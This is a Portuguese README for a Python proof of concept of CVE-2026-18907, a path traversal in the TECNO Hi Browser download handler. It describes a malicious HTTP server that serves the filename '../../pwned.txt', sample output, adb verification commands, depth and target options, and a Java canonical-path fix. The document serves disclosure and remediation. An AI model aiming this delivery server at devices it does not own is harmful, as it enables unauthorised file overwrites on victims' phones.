
PoC em Python para travessia de diretórios CVE-2026-18907 no manipulador de download do TECNO Hi Browser. Inclui um servidor HTTP malicioso e um downloader ingênuo para demonstrar a correção.
Prova de conceito para CVE-2026-18907 (CVSS 7.5 Alta, CWE-23), uma vulnerabilidade de traversal de caminho relativo no recurso de download de arquivos do TECNO Hi Browser (com.talpa.hibrowser) versão 2.23.1.1. O navegador confiava em um nome de arquivo Content-Disposition controlado pelo atacante e o concatenava ao diretório de download sem sanitizar os separadores de caminho ou verificar o caminho canônico do resultado — portanto, sequências ../ no nome do arquivo permitiam que o corpo da resposta fosse gravado fora de Download/, em qualquer caminho que as permissões de armazenamento do navegador permitissem.
Este PoC não inclui o APK proprietário
com.talpa.hibrowser. Ele demonstra (a) a entrega HTTP maliciosa exata e (b) a classe de causa raiz do bug (um downloader que confia em um nome de arquivo de resposta como componente de caminho). O mesmo primitivo é o que o CVE-2026-18907 descreve.
| Arquivo | Propósito |
|---|---|
evil_server.py | O servidor HTTP malicioso. Serve uma resposta cujo nome de arquivo carrega . Esta é a . |
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
CVE-2026-18907 path-traversal delivery server
================================================================
listening : http://0.0.0.0:8000/
traversal file: '../../pwned.txt'
payload bytes : 43
----------------------------------------------------------------
Point a vulnerable browser/downloader at the URL above.
On a VULNERABLE client the file escapes the download dir.
================================================================
# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
CVE-2026-18907 naive downloader
================================================================
download dir : /tmp/demo/Download
Content-Disposition: attachment; filename="../../pwned.txt"
parsed name : '../../pwned.txt'
----------------------------------------------------------------
[VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
resolved -> /tmp/pwned.txt
escaped download dir: True
[FIXED] wrote 43 bytes -> /tmp/demo/Download/pwned.txt
../ discarded by basename(); contained OK
================================================================
A concatenação vulnerável produziu /tmp/demo/Download/../../pwned.txt, o sistema operacional resolveu o .., e o arquivo se materializou em /tmp/pwned.txt — fora do diretório de download. O caminho corrigido aplicou os.path.basename() primeiro (o ../ é informação de caminho e é descartado, restando pwned.txt) e depois verificou se o caminho canônico permaneceu dentro do diretório de download.
Inicie o evil_server.py em um host que o dispositivo de teste possa acessar e, em seguida, navegue com um navegador vulnerável para http://<host>:8000/. Em um navegador que inicia automaticamente downloads do tipo attachment e não sanitiza o nome do arquivo, o arquivo é gravado em um caminho resolvido pela cadeia de ../. Verifique se a contenção falhou com o adb:
$ adb shell ls -la /sdcard/Download/ # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt # escaped the download directory
Ajuste a profundidade de escalada para o dispositivo com --depth (o padrão 2 limpa /sdcard/Download/ de volta para /sdcard/; aumente-o para subir mais alto) e o basename de destino com --target.
Para qualquer gerenciador de downloads, toda a classe CWE-23 se resume a dois hábitos aplicados em conjunto:
/.File base = downloadDir.getCanonicalFile();
File out = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
throw new SecurityException("refusing to write outside download dir: " + out);
}
Não coloque ../ em uma lista negra — o conjunto de codificações equivalentes a traversal é ilimitado. Canonicalize, depois compare. Esse algoritmo é fechado.
Execute o servidor apenas em uma rede que você controle e teste apenas em um dispositivo que você possua. Uma escrita por path traversal é, por definição, uma primitiva de escrita de arquivo — não a aponte para nada que você não esteja disposto a sobrescrever.
MIT — consulte o artigo de acompanhamento para atribuição completa e fontes primárias.
Content-Disposition../naive_downloader.py | Um downloader mínimo que reproduz o padrão vulnerável join(dir, filename), juntamente com a versão corrigida (basename + contenção canônica), para que você possa observar a fuga em uma única execução. |